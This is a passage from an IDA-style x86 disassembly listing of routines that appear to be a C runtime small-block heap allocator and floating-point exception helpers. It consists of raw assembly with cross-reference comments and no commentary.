		mov	ecx, esi
		jmp	short loc_41B873
; ---------------------------------------------------------------------------

loc_41B84E:				; CODE XREF: sub_41B592+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41B864
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi

loc_41B864:				; CODE XREF: sub_41B592+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h

loc_41B873:				; CODE XREF: sub_41B592+2BAj
		shr	edx, cl
		or	[eax], edx

loc_41B877:				; CODE XREF: sub_41B592+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax

loc_41B880:				; CODE XREF: sub_41B592+1A2j
					; sub_41B592:loc_41B740j
		push	1
		pop	eax

loc_41B883:				; CODE XREF: sub_41B592+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B592	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B888	proc near		; CODE XREF: sub_41BB80:loc_41BD4Fp
		cmp	dword_433EA0, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41B89C
		mov	esi, offset off_433E90
		jmp	short loc_41B8B9
; ---------------------------------------------------------------------------

loc_41B89C:				; CODE XREF: sub_41B888+Bj
		push	2020h
		push	0
		push	dword_4CF024
		nop
		call	near ptr 2710000h
		mov	esi, eax
		test	esi, esi
		jz	loc_41B9C5

loc_41B8B9:				; CODE XREF: sub_41B888+12j
		mov	ebp, dword_4241B4
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
		jz	loc_41B9AE
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41B9A0
		mov	eax, offset off_433E90
		cmp	esi, eax
		jnz	short loc_41B918
		cmp	off_433E90, 0
		jnz	short loc_41B908
		mov	off_433E90, eax

loc_41B908:				; CODE XREF: sub_41B888+79j
		cmp	off_433E94, 0
		jnz	short loc_41B92D
		mov	off_433E94, eax
		jmp	short loc_41B92D
; ---------------------------------------------------------------------------

loc_41B918:				; CODE XREF: sub_41B888+70j
		mov	[esi], eax
		mov	eax, off_433E94
		mov	[esi+4], eax
		mov	off_433E94, esi
		mov	eax, [esi+4]
		mov	[eax], esi

loc_41B92D:				; CODE XREF: sub_41B888+87j
					; sub_41B888+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h

loc_41B94F:				; CODE XREF: sub_41B888+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41B94F
		push	ebx
		push	0
		push	edi
		call	sub_417330
		add	esp, 0Ch

loc_41B978:				; CODE XREF: sub_41B888+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41B99C
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41B978
; ---------------------------------------------------------------------------

loc_41B99C:				; CODE XREF: sub_41B888+F7j
		mov	eax, esi
		jmp	short loc_41B9C7
; ---------------------------------------------------------------------------

loc_41B9A0:				; CODE XREF: sub_41B888+63j
		push	8000h
		push	0
		push	edi
		nop
		call	near ptr 28406F7h

loc_41B9AE:				; CODE XREF: sub_41B888+4Bj
		cmp	esi, offset off_433E90
		jz	short loc_41B9C5
		push	esi
		push	0
		push	dword_4CF024
		nop
		call	near ptr 270039Ch

loc_41B9C5:				; CODE XREF: sub_41B888+2Bj
					; sub_41B888+12Cj
		xor	eax, eax

loc_41B9C7:				; CODE XREF: sub_41B888+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B888	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B9CC	proc near		; CODE XREF: sub_41BA22+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		call	near ptr 28406F7h
		nop
		cmp	off_435EB0, esi
		jnz	short loc_41B9F1
		mov	eax, [esi+4]
		mov	off_435EB0, eax

loc_41B9F1:				; CODE XREF: sub_41B9CC+1Bj
		cmp	esi, offset off_433E90
		jz	short loc_41BA19
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4CF024
		call	near ptr 270039Ch
		nop
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41BA19:				; CODE XREF: sub_41B9CC+2Bj
		or	dword_433EA0, 0FFFFFFFFh
		pop	esi
		retn
sub_41B9CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BA22	proc near		; CODE XREF: sub_41BB3B+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_433E94
		push	edi

loc_41BA2F:				; CODE XREF: sub_41BA22+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41BACD
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h

loc_41BA48:				; CODE XREF: sub_41BA22+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41BA89
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		call	near ptr 28406F7h
		nop
		test	eax, eax
		jz	short loc_41BA89
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4CDA1C
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41BA7E
		cmp	eax, edi
		jbe	short loc_41BA81

loc_41BA7E:				; CODE XREF: sub_41BA22+56j
		mov	[esi+0Ch], edi

loc_41BA81:				; CODE XREF: sub_41BA22+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41BA96

loc_41BA89:				; CODE XREF: sub_41BA22+2Cj
					; sub_41BA22+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41BA48

loc_41BA96:				; CODE XREF: sub_41BA22+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41BACD
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41BACD
		push	1
		lea	eax, [ecx+20h]
		pop	edx

loc_41BAAD:				; CODE XREF: sub_41BA22+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41BABE
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41BAAD

loc_41BABE:				; CODE XREF: sub_41BA22+8Ej
		cmp	edx, 400h
		jnz	short loc_41BACD
		push	ecx
		call	sub_41B9CC
		pop	ecx

loc_41BACD:				; CODE XREF: sub_41BA22+11j
					; sub_41BA22+7Dj ...
		cmp	esi, off_433E94
		jz	short loc_41BADF
		cmp	[ebp+arg_0], 0
		jg	loc_41BA2F

loc_41BADF:				; CODE XREF: sub_41BA22+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BA22	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BAE4	proc near		; CODE XREF: sub_417C3B+3Ap
					; sub_41944F+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_433E90
		push	esi
		mov	ecx, edx

loc_41BAF0:				; CODE XREF: sub_41BAE4+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41BAFA
		cmp	eax, [ecx+14h]
		jb	short loc_41BB02

loc_41BAFA:				; CODE XREF: sub_41BAE4+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41BB37
		jmp	short loc_41BAF0
; ---------------------------------------------------------------------------

loc_41BB02:				; CODE XREF: sub_41BAE4+14j
		test	al, 0Fh
		jnz	short loc_41BB37
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41BB37
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------

loc_41BB37:				; CODE XREF: sub_41BAE4+1Aj
					; sub_41BAE4+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41BAE4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BB3B	proc near		; CODE XREF: sub_417C3B+4Dp
					; sub_41944F+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41BB7F
		inc	dword_4CDA1C
		cmp	dword_4CDA1C, 20h
		jnz	short locret_41BB7F
		push	10h
		call	sub_41BA22
		pop	ecx

locret_41BB7F:				; CODE XREF: sub_41BB3B+2Bj
					; sub_41BB3B+3Aj
		retn
sub_41BB3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB80	proc near		; CODE XREF: sub_417BC7+4Ap
					; sub_41944F+1ACp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_435EB0
		push	edi

loc_41BB8E:				; CODE XREF: sub_41BB80+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41BC39
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41BBF3

loc_41BBB9:				; CODE XREF: sub_41BB80+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41BBDC
		cmp	[edi+4], ebx
		jbe	short loc_41BBDC
		push	ebx
		push	ecx
		push	eax
		call	sub_41BD88
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BC4B
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx

loc_41BBDC:				; CODE XREF: sub_41BB80+40j
					; sub_41BB80+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41BBB9
		jmp	short loc_41BBF6
; ---------------------------------------------------------------------------

loc_41BBF3:				; CODE XREF: sub_41BB80+37j
		mov	ebx, [ebp+arg_0]

loc_41BBF6:				; CODE XREF: sub_41BB80+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41BC3C

loc_41BC09:				; CODE XREF: sub_41BB80+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41BC28
		cmp	[edi+4], ebx
		jbe	short loc_41BC28
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41BD88
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BC4B
		mov	[edi+4], ebx

loc_41BC28:				; CODE XREF: sub_41BB80+8Dj
					; sub_41BB80+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41BC09
		jmp	short loc_41BC3C
; ---------------------------------------------------------------------------

loc_41BC39:				; CODE XREF: sub_41BB80+14j
		mov	ebx, [ebp+arg_0]

loc_41BC3C:				; CODE XREF: sub_41BB80+87j
					; sub_41BB80+B7j
		mov	esi, [esi]
		cmp	esi, off_435EB0
		jz	short loc_41BC5B
		jmp	loc_41BB8E
; ---------------------------------------------------------------------------

loc_41BC4B:				; CODE XREF: sub_41BB80+54j
					; sub_41BB80+A3j
		mov	off_435EB0, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41BD83
; ---------------------------------------------------------------------------

loc_41BC5B:				; CODE XREF: sub_41BB80+C4j
		mov	eax, offset off_433E90
		mov	edi, eax

loc_41BC62:				; CODE XREF: sub_41BB80+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41BC6E
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41BC7A

loc_41BC6E:				; CODE XREF: sub_41BB80+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41BD4F
		jmp	short loc_41BC62
; ---------------------------------------------------------------------------

loc_41BC7A:				; CODE XREF: sub_41BB80+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41BCA9

loc_41BC98:				; CODE XREF: sub_41BB80+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41BCA9
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41BC98

loc_41BCA9:				; CODE XREF: sub_41BB80+116j
					; sub_41BB80+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		call	near ptr 2840875h
		nop
		cmp	eax, esi
		jnz	loc_41BD81
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_417330
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41BD10
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx

loc_41BCE6:				; CODE XREF: sub_41BB80+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41BCE6

loc_41BD10:				; CODE XREF: sub_41BB80+15Ej
		mov	off_435EB0, edi
		lea	eax, [edi+2018h]

loc_41BD1C:				; CODE XREF: sub_41BB80+1A8j
		cmp	ecx, eax
		jnb	short loc_41BD2C
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41BD2A
		add	ecx, 8
		jmp	short loc_41BD1C
; ---------------------------------------------------------------------------

loc_41BD2A:				; CODE XREF: sub_41BB80+1A3j
		cmp	ecx, eax

loc_41BD2C:				; CODE XREF: sub_41BB80+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41BD83
; ---------------------------------------------------------------------------

loc_41BD4F:				; CODE XREF: sub_41BB80+F2j
		call	sub_41B888
		test	eax, eax
		jz	short loc_41BD81
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_435EB0, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41BD83
; ---------------------------------------------------------------------------

loc_41BD81:				; CODE XREF: sub_41BB80+143j
					; sub_41BB80+1D6j
		xor	eax, eax

loc_41BD83:				; CODE XREF: sub_41BB80+D6j
					; sub_41BB80+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BB80	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BD88	proc near		; CODE XREF: sub_41BB80+4Ap
					; sub_41BB80+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41BDCD
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41BDBC
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41BDC5
; ---------------------------------------------------------------------------

loc_41BDBC:				; CODE XREF: sub_41BD88+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax

loc_41BDC5:				; CODE XREF: sub_41BD88+32j
		lea	eax, [edi+8]
		jmp	loc_41BE9B
; ---------------------------------------------------------------------------

loc_41BDCD:				; CODE XREF: sub_41BD88+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41BDD6
		mov	eax, esi

loc_41BDD6:				; CODE XREF: sub_41BD88+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41BE20

loc_41BDDD:				; CODE XREF: sub_41BD88+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41BE13
		push	1
		lea	ebx, [eax+1]
		pop	esi

loc_41BDE9:				; CODE XREF: sub_41BD88+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41BDF2
		inc	ebx
		inc	esi
		jmp	short loc_41BDE9
; ---------------------------------------------------------------------------

loc_41BDF2:				; CODE XREF: sub_41BD88+64j
		cmp	esi, edx
		jnb	short loc_41BE44
		cmp	eax, [ebp+var_4]
		jnz	short loc_41BE00
		mov	[ecx+4], esi
		jmp	short loc_41BE0C
; ---------------------------------------------------------------------------

loc_41BE00:				; CODE XREF: sub_41BD88+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41BEA5

loc_41BE0C:				; CODE XREF: sub_41BD88+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41BE18
; ---------------------------------------------------------------------------

loc_41BE13:				; CODE XREF: sub_41BD88+59j
		movzx	esi, bl
		add	eax, esi

loc_41BE18:				; CODE XREF: sub_41BD88+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41BDDD

loc_41BE20:				; CODE XREF: sub_41BD88+53j
		lea	esi, [ecx+8]

loc_41BE23:				; CODE XREF: sub_41BD88+EBj
					; sub_41BD88+F2j
		cmp	esi, edi
		jnb	short loc_41BEA5
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41BEA5
		mov	al, [esi]
		test	al, al
		jnz	short loc_41BE75
		push	1
		lea	ebx, [esi+1]
		pop	eax

loc_41BE3B:				; CODE XREF: sub_41BD88+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41BE65
		inc	ebx
		inc	eax
		jmp	short loc_41BE3B
; ---------------------------------------------------------------------------

loc_41BE44:				; CODE XREF: sub_41BD88+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41BE55
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41BE5E
; ---------------------------------------------------------------------------

loc_41BE55:				; CODE XREF: sub_41BD88+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi

loc_41BE5E:				; CODE XREF: sub_41BD88+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41BE9B
; ---------------------------------------------------------------------------

loc_41BE65:				; CODE XREF: sub_41BD88+B6j
		cmp	eax, edx
		jnb	short loc_41BE7C
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41BEA5
		mov	esi, ebx
		jmp	short loc_41BE23
; ---------------------------------------------------------------------------

loc_41BE75:				; CODE XREF: sub_41BD88+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41BE23
; ---------------------------------------------------------------------------

loc_41BE7C:				; CODE XREF: sub_41BD88+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41BE8D
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41BE96
; ---------------------------------------------------------------------------

loc_41BE8D:				; CODE XREF: sub_41BD88+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax

loc_41BE96:				; CODE XREF: sub_41BD88+103j
		mov	[esi], dl
		lea	eax, [esi+8]

loc_41BE9B:				; CODE XREF: sub_41BD88+40j
					; sub_41BD88+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41BEA7
; ---------------------------------------------------------------------------

loc_41BEA5:				; CODE XREF: sub_41BD88+7Ej
					; sub_41BD88+9Dj ...
		xor	eax, eax

loc_41BEA7:				; CODE XREF: sub_41BD88+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BD88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BEAC	proc near		; CODE XREF: sub_41944F+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41BEE6
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41BF46
; ---------------------------------------------------------------------------

loc_41BEE6:				; CODE XREF: sub_41BEAC+26j
		jnb	short loc_41BF4D
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41BF4D
		lea	eax, [ecx+edx]

loc_41BEFB:				; CODE XREF: sub_41BEAC+59j
		cmp	eax, esi
		jnb	short loc_41BF09
		cmp	byte ptr [eax],	0
		jnz	short loc_41BF07
		inc	eax
		jmp	short loc_41BEFB
; ---------------------------------------------------------------------------

loc_41BF07:				; CODE XREF: sub_41BEAC+56j
		cmp	eax, esi

loc_41BF09:				; CODE XREF: sub_41BEAC+51j
		jnz	short loc_41BF4D
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41BF41
		cmp	esi, eax
		jbe	short loc_41BF41
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41BF38
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41BF33

loc_41BF2C:				; CODE XREF: sub_41BEAC+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41BF2C

loc_41BF33:				; CODE XREF: sub_41BEAC+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41BF41
; ---------------------------------------------------------------------------

loc_41BF38:				; CODE XREF: sub_41BEAC+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax

loc_41BF41:				; CODE XREF: sub_41BEAC+68j
					; sub_41BEAC+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx

loc_41BF46:				; CODE XREF: sub_41BEAC+38j
		mov	[ebp+var_4], 1

loc_41BF4D:				; CODE XREF: sub_41BEAC:loc_41BEE6j
					; sub_41BEAC+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BEAC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_41BF55(int,int,double,int)

sub_41BF55	proc near		; CODE XREF: sub_417CA4+51p
					; sub_417DEB+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_436608, 0
		jnz	short loc_41BF8A
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_41C50A
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41BF8A:				; CODE XREF: sub_41BF55+Aj
		push	0FFFFh
		mov	dword_4CD9B4, 21h
		push	[ebp+arg_C]
		call	sub_41C77D
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_41BF55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41BFA8(int,int,double,double,int)

sub_41BFA8	proc near		; CODE XREF: sub_417CA4:loc_417D67p
					; sub_417DEB:loc_417EAEp

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_41C2F3
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BFE6
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_41C040
		add	esp, 18h

loc_41BFE6:				; CODE XREF: sub_41BFA8+1Aj
		push	[ebp+arg_0]
		call	sub_41C5DD
		cmp	dword_436608, 0
		pop	ecx
		jnz	short loc_41C024
		test	eax, eax
		jz	short loc_41C024
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_41C50A
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------

loc_41C024:				; CODE XREF: sub_41BFA8+4Ej
					; sub_41BFA8+52j
		push	eax
		call	sub_41C592
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_41C77D
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_41BFA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C040	proc near		; CODE XREF: sub_41BFA8+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_41C072
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx

loc_41C072:				; CODE XREF: sub_41C040+23j
		test	cl, 2
		jz	short loc_41C085
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2

loc_41C085:				; CODE XREF: sub_41C040+35j
		test	cl, bl
		jz	short loc_41C097
		mov	eax, [ebp+arg_0]
